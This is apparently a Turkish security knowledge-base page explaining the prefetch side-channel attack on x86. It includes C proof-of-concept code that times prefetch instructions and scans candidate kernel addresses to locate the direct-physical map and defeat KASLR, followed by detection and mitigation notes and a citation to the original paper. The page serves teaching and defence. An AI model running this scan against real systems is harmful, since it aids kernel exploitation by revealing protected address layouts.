Skip to content

Prefetch Side-Channel Attack

x86 software-prefetch instruction'ları erişilemeyen kernel adresleri üzerinde fault vermeden işler ve yürütme süreleri hem bir adresin map'li olup olmadığını hem de hangi page-table seviyesinde olduğunu sızdırır — Kernel ASLR'yi etkisiz kılar ve SMAP altında bile direct-physical map'i konumlandırır.

Mechanism

Neden çalışır

prefetch ailesi (prefetcht0, prefetcht1, prefetcht2, prefetchnta) bir hint'tir: CPU'dan bir line'ı cache'e doğru çekmesini ister ama ayrıcalıklı veya unmapped bir adres için bile asla fault vermez. Kritik olarak, bir line prefetch edilmeden önce CPU sanal adresi page table'ları walk ederek translate etmelidir. Bundan iki gözlemlenebilir invariant çıkar:

  • Address-translation oracleprefetch'in aldığı süre, hedef sanal adresin physical memory'ye geçerli bir translation'ı olup olmadığına bağlıdır. Map'li bir adres (cache'lenmiş) translation/fetch'i hızlıca tamamlar; unmapped olan tamamlamaz. Instruction trap etmediği için, unprivileged bir process kernel adreslerini doğrudan prob'layabilir.
  • Translation-level oracle — latency ayrıca translation'ın hangi page-table seviyesinde (PTE / PMD / PUD / PGD) resolve olduğunu yansıtır, page boyutlarını ve kernel mapping'inin yapısını açığa çıkarır.

Belirleyici sonuç: Linux bir direct-physical map tutar (PAGE_OFFSET'te tüm RAM'in 1:1 lineer bir map'i). Aday base aralığını prefetch-timing yaparak, bir attacker o map'in nerede olduğunu bulur — yani KASLR'yi kırar — ve bilinen bir physical adresi (ör. başka bir yolla elde edilmiş) onun kernel sanal alias'ına geri çevirebilir. prefetch architectural bir erişim yapmadığı için, SMAP/SMEP onu durdurmaz.

Walkthrough

Primitive bir kernel adresine yapılan bir prefetch'i zamanlar. Aday offset'ler üzerinde tekrarla; minimum-latency'li offset gerçek mapping'tir.

// gcc -O2 prefetch_oracle.c -o po   (x86-64)
#include <stdint.h>
#include <x86intrin.h>   // __rdtscp, _mm_prefetch

static inline uint64_t time_prefetch(const void *p) {
    unsigned aux;
    uint64_t t0 = __rdtscp(&aux);
    _mm_prefetch((const char *)p, _MM_HINT_T0);  // prefetcht0; never faults
    uint64_t t1 = __rdtscp(&aux);
    return t1 - t0;
}

Direct-physical map'in KASLR'sini etkisiz kılmak için aligned aday base'leri tara ve en düşük medyan latency'yi al (caching bias'ını kaldırmak için aralarda flush yap):

// kernel direct map starts somewhere in [0xffff888000000000 .. ] aligned to 1 GiB
for (uint64_t off = 0; off < RANGE; off += (1ULL<<30)) {
    void *addr = (void*)(DIRECTMAP_MIN + off);
    uint64_t best = ~0ULL;
    for (int i = 0; i < N; i++) {
        _mm_clflush(addr);                 // remove residual caching
        uint64_t t = time_prefetch(addr);
        if (t < best) best = t;
    }
    record(off, best);                     // valley => real direct-map base
}

Sonucun beklenen biçimi — bir offset tutarlı şekilde daha hızlıdır (map'lidir):

offset 0x00000000  median ~241 cycles   (unmapped / higher level)
offset 0x40000000  median ~240 cycles
offset 0x80000000  median ~181 cycles   <-- direct-map base (KASLR defeated)
offset 0xC0000000  median ~242 cycles
Translation seviyelerini ayırt etme (translation-level oracle)
# Latency clusters by the page-table level the walk terminates at:
resolved at PTE (4 KiB) : fastest cluster
resolved at PMD (2 MiB) : intermediate
resolved at PUD (1 GiB) : distinct higher cluster
# The cluster an address falls into reveals page size / mapping granularity.

Warning

Sinyal yalnızca timing'e dayalı ve gürültülüdür; bir hit/miss eşiği kalibre et ve çok sayıda örnek üzerinde medyan kullan. Frequency scaling ve TLB state jitter ekler.

Detection

  • Kernel adres aralıklarını tarayan sıkı rdtscp + prefetch döngüleri anormal bir davranışsal imzadır; aşırı clflush/prefetch retirement'ının performance-counter izlemesi bunu işaretleyebilir.

Mitigation

  • Daha güçlü KASLR / KAISER-KPTI: kernel'i user page table'larından unmap etmek (bu paper'ın motive ettiği, KPTI olarak ship edilen KAISER çalışması) oracle'ın prob'ladığı kernel translation'larını user-mode address space'inden kaldırır.
  • Mümkün olduğunda yüksek çözünürlüklü timer'ları / rdtsc'yi kısıtla.

References

  • Daniel Gruss, Clémentine Maurice, Anders Fogh, Moritz Lipp, Stefan Mangard. Prefetch Side-Channel Attacks: Bypassing SMAP and Kernel ASLR. ACM CCS 2016 — https://gruss.cc/files/prefetch.pdf